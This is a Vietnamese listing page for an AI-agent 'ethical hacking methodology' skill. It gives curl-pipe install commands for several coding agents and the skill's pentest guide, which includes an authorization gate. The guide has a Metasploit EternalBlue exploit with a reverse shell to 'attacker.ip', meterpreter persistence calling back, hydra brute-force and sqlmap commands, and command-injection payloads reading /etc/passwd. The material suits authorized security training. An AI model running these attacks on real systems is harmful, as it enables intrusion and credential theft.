ethical-hacking-methodology – skill Bảo mật cho agent AI
Nắm vững toàn bộ vòng đời kiểm thử xâm nhập từ do thám đến báo cáo. Kỹ năng này bao gồm năm giai đoạn của phương pháp hacking đạo đức, các công cụ thiết yếu, kỹ thuật tấn công và lập báo cáo chuyên nghiệp cho các đánh giá bảo mật được ủy quyền.
Cài skill ethical-hacking-methodology bằng một lệnh
Chọn công cụ bạn đang dùng, copy lệnh và dán vào terminal. Skill sẽ nằm trong thư mục skills của công cụ đó và sẵn sàng dùng ở phiên làm việc tiếp theo.
Claude Code
mkdir -p ~/.claude/skills && curl -fsSL https://skill.dn1nguoi.com/z/ethical-hacking-methodology-a9d2b.tgz | tar xz -C ~/.claude/skills
Gọi trong Claude Code: /ethical-hacking-methodology – rồi mô tả công việc bạn muốn làm.
Codex
mkdir -p ~/.codex/skills && curl -fsSL https://skill.dn1nguoi.com/z/ethical-hacking-methodology-a9d2b.tgz | tar xz -C ~/.codex/skills
Gọi trong Codex: $ethical-hacking-methodology – rồi mô tả công việc bạn muốn làm.
Hermes Agent
mkdir -p ~/.hermes/skills && curl -fsSL https://skill.dn1nguoi.com/z/ethical-hacking-methodology-a9d2b.tgz | tar xz -C ~/.hermes/skills
Gọi trong Hermes Agent: /ethical-hacking-methodology – rồi mô tả công việc bạn muốn làm.
DeepSeek
mkdir -p ~/.deepcode/skills && curl -fsSL https://skill.dn1nguoi.com/z/ethical-hacking-methodology-a9d2b.tgz | tar xz -C ~/.deepcode/skills
Gọi trong DeepSeek: /ethical-hacking-methodology – rồi mô tả công việc bạn muốn làm.
Nội dung SKILL.md
Nội dung SKILL.md gốc bằng tiếng Anh.
> ⚠️ AUTHORIZED USE ONLY
> This skill is for educational purposes or authorized security assessments only.
> You must have explicit, written permission from the system owner before using this tool.
> Misuse of this tool is illegal and strictly prohibited.
> Mandatory confirmation gate
> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
> 1. Ask the user to state the exact target URL, IP, account, or resource.
> 2. Ask the user to confirm written authorization and the permitted scope.
> 3. Show the exact command(s) and explain their expected effect.
> 4. Wait for explicit confirmation in the current conversation.
>
> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
> AUTHORIZED USE ONLY: Use this skill only for authorized penetration testing engagements, defensive validation, or controlled educational environments.
Ethical Hacking Methodology
Purpose
Master the complete penetration testing lifecycle from reconnaissance through reporting. This skill covers the five stages of ethical hacking methodology, essential tools, attack techniques, and professional reporting for authorized security assessments.
Prerequisites
Required Environment
- Kali Linux installed (persistent or live)
- Network access to authorized targets
- Written authorization from system owner
Required Knowledge
- Basic networking concepts
- Linux command-line proficiency
- Understanding of web technologies
- Familiarity with security concepts
Outputs and Deliverables
1. Reconnaissance Report - Target information gathered
2. Vulnerability Assessment - Identified weaknesses
3. Exploitation Evidence - Proof of concept attacks
4. Final Report - Executive and technical findings
Core Workflow
Phase 1: Understanding Hacker Types
Classification of security professionals:
White Hat Hackers (Ethical Hackers)
- Authorized security professionals
- Conduct penetration testing with permission
- Goal: Identify and fix vulnerabilities
- Also known as: penetration testers, security consultants
Black Hat Hackers (Malicious)
- Unauthorized system intrusions
- Motivated by profit, revenge, or notoriety
- Goal: Steal data, cause damage
- Also known as: crackers, criminal hackers
Grey Hat Hackers (Hybrid)
- May cross ethical boundaries
- Not malicious but may break rules
- Often disclose vulnerabilities publicly
- Mixed motivations
Other Classifications
- Script Kiddies: Use pre-made tools without understanding
- Hacktivists: Politically or socially motivated
- Nation State: Government-sponsored operatives
- Coders: Develop tools and exploits
Phase 2: Reconnaissance
Separate third-party passive research from DNS lookups and tools that may directly contact infrastructure. DNS enumeration and dnsrecon are not guaranteed passive:
Passive Reconnaissance
# WHOIS lookup
whois target.com
# DNS enumeration
nslookup target.com
dig target.com ANY
dig target.com MX
dig target.com NS
# Subdomain discovery
dnsrecon -d target.com
# Email harvesting
theHarvester -d target.com -b allGoogle Hacking (OSINT)
# Find exposed files
site:target.com filetype:pdf
site:target.com filetype:xls
site:target.com filetype:doc
# Find login pages
site:target.com inurl:login
site:target.com inurl:admin
# Find directory listings
site:target.com intitle:"index of"
# Find configuration files
site:target.com filetype:config
site:target.com filetype:envGoogle Hacking Database Categories:
- Files containing passwords
- Sensitive directories
- Web server detection
- Vulnerable servers
- Error messages
- Login portals
Social Media Reconnaissance
- LinkedIn: Organizational charts, technologies used
- Twitter: Company announcements, employee info
- Facebook: Personal information, relationships
- Job postings: Technology stack revelations
Phase 3: Scanning
Active enumeration of target systems:
Host Discovery
# Ping sweep
nmap -sn 192.168.1.0/24
# ARP scan (local network)
arp-scan -l
# Discover live hosts
nmap -sP 192.168.1.0/24Port Scanning
# TCP SYN scan (stealth)
nmap -sS target.com
# Full TCP connect scan
nmap -sT target.com
# UDP scan
nmap -sU target.com
# All ports scan
nmap -p- target.com
# Top 1000 ports with service detection
nmap -sV target.com
# Aggressive scan (OS, version, scripts)
nmap -A target.comService Enumeration
# Specific service scripts
nmap --script=http-enum target.com
nmap --script=smb-enum-shares target.com
nmap --script=ftp-anon target.com
# Vulnerability scanning
nmap --script=vuln target.comCommon Port Reference
| Port | Service | Notes |
|------|---------|-------|
| 21 | FTP | File transfer |
| 22 | SSH | Secure shell |
| 23 | Telnet | Unencrypted remote |
| 25 | SMTP | Email |
| 53 | DNS | Name resolution |
| 80 | HTTP | Web |
| 443 | HTTPS | Secure web |
| 445 | SMB | Windows shares |
| 3306 | MySQL | Database |
| 3389 | RDP | Remote desktop |
Phase 4: Vulnerability Analysis
Identify exploitable weaknesses:
Automated Scanning
# Nikto web scanner
nikto -h http://target.com
# OpenVAS (command line)
omp -u admin -w password --xml="<get_tasks/>"
# Nessus: use the documented current UI or API scan workflow;
# nessuscli is not a generic scan --target interface.Web Application Testing (OWASP)
- SQL Injection
- Cross-Site Scripting (XSS)
- Broken Authentication
- Security Misconfiguration
- Sensitive Data Exposure
- XML External Entities (XXE)
- Broken Access Control
- Insecure Deserialization
- Using Components with Known Vulnerabilities
- Insufficient Logging & Monitoring
Manual Techniques
# Directory brute forcing
gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt
# Subdomain enumeration
gobuster dns -d target.com -w /usr/share/wordlists/subdomains.txt
# Web technology fingerprinting
whatweb target.comPhase 5: Exploitation
Actively exploit discovered vulnerabilities:
Metasploit Framework
# Start Metasploit
msfconsole
# Search for exploits
msf> search type:exploit name:smb
# Use specific exploit
msf> use exploit/windows/smb/ms17_010_eternalblue
# Set target
msf> set RHOSTS target.com
# Set payload
msf> set PAYLOAD windows/meterpreter/reverse_tcp
msf> set LHOST attacker.ip
# Execute
msf> exploitPassword Attacks
# Hydra brute force
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://target.com
hydra -L users.txt -P passwords.txt ftp://target.com
# John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txtWeb Exploitation
# SQLMap for SQL injection
sqlmap -u "http://target.com/page.php?id=1" --dbs
sqlmap -u "http://target.com/page.php?id=1" -D database --tables
# XSS testing
# Manual: <script>alert('XSS')</script>
# Command injection testing
# ; ls -la
# | cat /etc/passwdPhase 6: Controlled Access Validation
Persistence is not a routine assessment step. Prefer a disposable lab; any persistence simulation requires separate explicit scope, an expiry, owner-visible artifacts and verified cleanup. Preserve logs and never conceal activity.
Backdoors
# Meterpreter persistence
meterpreter> run persistence -X -i 30 -p 4444 -r attacker.ip
# SSH key persistence
# Add attacker's public key to ~/.ssh/authorized_keys
# Cron job persistence
# Do not append arbitrary jobs to system crontab; use a reviewed temporary
# lab-only test artifact with explicit user, expiry and rollback.Privilege Escalation
# Linux enumeration
linpeas.sh
linux-exploit-suggester.sh
# Windows enumeration
winpeas.exe
windows-exploit-suggester.py
# Check SUID binaries (Linux)
find / -perm -4000 2>/dev/null
# Check sudo permissions
sudo -lEvidence Preservation and Cleanup
- Document all actions taken
- Maintain logs for reporting
- Avoid unnecessary system changes
- Clean up test files and backdoors
Phase 7: Reporting
Document findings professionally:
Report Structure
1. Executive Summary
- High-level findings
- Business impact
- Risk ratings
- Remediation priorities
2. Technical Findings
- Vulnerability details
- Proof of concept
- Screenshots/evidence
- Affected systems
3. Risk Ratings
- Critical: Immediate action required
- High: Address within 24-48 hours
- Medium: Address within 1 week
- Low: Address within 1 month
- Informational: Best practice recommendations
4. Remediation Recommendations
- Specific fixes for each finding
- Short-term mitigations
- Long-term solutions
- Resource requirements
5. Appendices
- Detailed scan outputs
- Tool configurations
- Testing timeline
- Scope and methodology
Phase 8: Common Attack Types
Phishing
- Ema
… (nội dung đầy đủ có trong gói tải về)
Skill liên quan
- unbroker – Xóa thông tin của bạn khỏi các trang môi giới dữ liệu, theo tên hoặc số điện thoại.
- wcag-audit-patterns – Thực hiện kiểm tra khả năng truy cập WCAG 2.2 với kiểm thử tự động, xác minh thủ công và…
- rfp-responder – Dùng khi một RFP, RFI, RFQ, bảng câu hỏi bảo mật, bảng câu hỏi nhà cung cấp hoặc yêu cầu…
- web-pentest – Kiểm thử xâm nhập web có ủy quyền: thu thập thông tin (recon), khai thác có bằng chứng…
- file-path-traversal – Nhận diện và khai thác lỗ hổng path traversal (directory traversal) cho phép kẻ tấn công…
- find-bugs – Tìm lỗi, lỗ hổng bảo mật và vấn đề chất lượng code trong các thay đổi của nhánh cục bộ…
- firebase – Firebase cung cấp backend hoàn chỉnh chỉ trong vài phút: auth, cơ sở dữ liệu, storage…
- firewall-config – Cấu hình iptables, nftables và cloud firewall. Triển khai phân vùng mạng và lọc lưu…